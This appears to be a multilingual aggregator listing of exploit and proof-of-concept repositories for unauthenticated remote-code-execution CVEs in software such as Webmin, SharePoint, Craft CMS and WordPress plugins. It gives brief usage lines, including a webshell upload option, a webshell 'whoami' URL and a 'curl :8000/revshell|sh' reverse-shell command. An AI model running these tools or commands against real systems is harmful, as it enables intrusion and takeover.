CVE-2026-58455-PoC

CVE-2026-58455 — RCE no autenticado en Dockwatch bypass de autenticación + inyección de comandos Prueba de concepto para CVE-2026-58455 : ejecución remota de código no autenticada en Dockwatch de Notifiarr, una interfaz web autohospedada para la gestión de contenedores Docker. Afecta a todas las...

CVE-2025-34085

CVE-2025-34085 — WordPress Simple File List 未认证远程代码执行漏洞利用 针对 CVE-2025-34085 的自动化利用与扫描器，该漏洞存在于 WordPress Simple File List 插件中，通过任意文件上传和重命名功能实现未认证远程代码执行 。 📄 CVE 概要 CVE ID: CVE-2025-34085 受影响组件: WordPress 插件 — Simple File List 漏洞类型: 未认证文件上传和文件重命名为可执行文件 影响: 远程代码执行 RCE 漏洞利用作者: 0xgh057r3c0n 攻击途径: 远程，未认...

CVE-2019-15107

Exploit de Webmin CVE-2019-15107 CVE-2019-15107 Se descubrió un problema en Webmin =1.920. El parámetro old en passwordchange.cgi contiene una vulnerabilidad de inyección de comandos. NVD Compilación root@kitploit: $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ ma...

CVE-2026-66047

ProfilePress wp-user-avatar WordPress plugin before 4.17.2 contains an unauthenticated remote code execution vulnerability that allows unauthenticated attackers to install and activate arbitrary plugins by brute-forcing a weak 32-bit connect token via the ppressconnectprocess AJAX handler...

CVE-2026-66047

The ProfilePress (wp-user-avatar) WordPress plugin before 4.17.2 contains an unauthenticated remote code execution vulnerability. The root cause is a weak 32-bit connect token in the ppress_connect_process AJAX handler , which can be brute-forced by an unauthenticated attacker. Once the token is ...

CVE-2025-53770-SharePoint-Zero-Day-Variant-Exploited-for-Full-RCE

🚨 CVE‑2025‑53770 – SharePoint 零日变种被利用实现完全远程代码执行 从 CVE‑2025‑49706 的关键升级 作者 Aditya Bhatt – 红队 | 渗透测试 📌 摘要 CVE‑2025‑53770 是 Microsoft SharePoint 中的一个 严重（CVSS 9.8）零认证 RCE 漏洞 ，目前已在野外被积极利用。这不是一个孤立问题——它是 CVE‑2025‑49706 的一个变种 ，我之前已经介绍过。 但 CVE‑2025‑49706 需要认证，而 53770 不需要 。 这是 未经认证的代码执行 ，在活跃攻击中已观察到真实的...

CVE-2021-38647

CVE-2021-38647 CVE-2021-38647 - 用于在 Azure UNIX/Linux VM 上利用未认证 RCE OMIGOD 的 POC 详情 在 Microsoft Azure 中，当为 UNIX/Linux VM 使用 Azure 自动化账户、更新管理、日志分析、配置管理等服务时，OMI 应用程序会自动安装。如果使用配置管理服务远程管理机器，OMI 应用程序还会在端口 5986 上暴露服务。 任何能够访问易受攻击端点的网络用户，无需 Authorization 头即可发送请求，利用 SCXcore 提供程序，在目标机器上以 root 权限执行操作系统命令！...

CVE-2025-8723

⚡️ Cloudflare Image Resizing Descripción: El endpoint de la API REST del plugin no autentica a los usuarios y desinfecta incorrectamente la entrada en el método hookrestpredispatch. Esta falla permite a los atacantes inyectar y ejecutar código PHP arbitrario mediante solicitudes maliciosas, sin...

CraftCMS_CVE-2023-41892

Craft CMS CVE-2023-41892 存在一个影响 CraftCMS 4.0.0-RC1 至 4.4.14 版本的 未授权远程代码执行（RCE） 漏洞。 使用方法 root@kitploit: python3 craft-cms.py http://target 依赖要求 该漏洞利用使用了 requests 。 安装方式如下： root@kitploit: python3 -m pip install requests 致谢 https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g...

CVE-2023-20887

CVE-2023-20887 POC para CVE-2023-20887 VMWare Aria Operations for Networks vRealize Network Insight RCE no autenticado Análisis Técnico Un análisis de la causa raíz de la vulnerabilidad se puede encontrar en mi blog:...

Gitlab-CVE-2026-19478

CVE-2026-19478 — Inyección de directiva @glintroduced en GraphQL de GitLab Inyección remota de código sin autenticación mediante directiva GraphQL en GitLab CE/EE — Eliminar cualquier proyecto público con una sola petición HTTP Un laboratorio práctico de pruebas de penetración que reproduce...

CVE-2025-53770

CVE-2025-53770 这是一个针对 CVE-2025-53770 未认证远程代码执行漏洞的多站点扫描器。 其他扫描器/ PoC：- https://github.com/hazcod/CVE-2025-53770 https://github.com/MuhammadWaseem29/CVE-2025-53770 CVE-2025-53770 Sharepoint RCE 影响：未认证攻击者能够实现远程代码执行，导致系统完全受损。 严重性：严重 使用示例 python CVE-2025-53770-Scanner.py 然后 添加你的目标文件名 （无论是长 URL...

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 TerraMaster TOS 未经身份验证的远程代码执行（通过PHP对象实例化） 用法 漏洞检测。 root@kitploit: python CVE-2022-24990.py -u http://127.0.0.1:8080 上传PHP webshell。 root@kitploit: python CVE-2022-24990.py -a http://127.0.0.1:8080 参考...

CVE-2021-30461

Productos afectados VoIPmonitor 24.60 Cómo ejecutar RCE root@kitploit: python3 CVE-2021-30461.py -t ipaddress Shell del navegador: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami Referencia https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC

CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC La vulnerabilidad permite a un atacante con acceso de red a un servidor SSH de Erlang/OTP ejecutar código arbitrario sin autenticación previa. Descripción Se ha identificado una vulnerabilidad grave en el servidor SSH de Erlang/OTP que puede permitir a un...

CVE-2023-35803

CVE-2023-35804 - RCE no autenticado en puntos de acceso inalámbricos Extreme Networks/Aerohive PoC para puntos de acceso basados en ARM que ejecutan HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup aquí: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

CVE-2022-20699

CVE-2022-20699 🎧 由Audiobahn为您呈现 Cisco Anyconnect VPN 未授权RCE rwx栈 它未经过良好检查...

CVE-2026-69836-EXP

CVE-2026-69836 Entra ID: Prueba de Concepto de RCE No Autenticado Resumen CVE-2026-69836 es una vulnerabilidad crítica de ejecución remota de código no autenticada en Microsoft Entra ID debida a la deserialización inadecuada de datos no confiables CWE-502. La falla permite a los atacantes ejecuta...

cve-2026-23744

CVE-2026-23744 – Ejecución Remota de Código RCE sin Autenticación en MCPJam Inspector Descripción Producto : MCPJam Inspector Versiones afectadas : ≤ 1.4.2 Versión corregida : 1.4.3 Tipo : Ejecución Remota de Código RCE sin autenticación Vector de ataque : Red Autenticación requerida : No...

CVE-2026-48907-

CVE-2026-48907 — Escáner y Exploit de RCE No Autenticado para JCE Editor de Joomla CVSS 10.0 | CWE-284 | CISA KEV | EPSS 80% Una herramienta de escaneo y explotación de vulnerabilidades basada en Python para CVE-2026-48907 , una vulnerabilidad crítica de ejecución remota de código no autenticada ...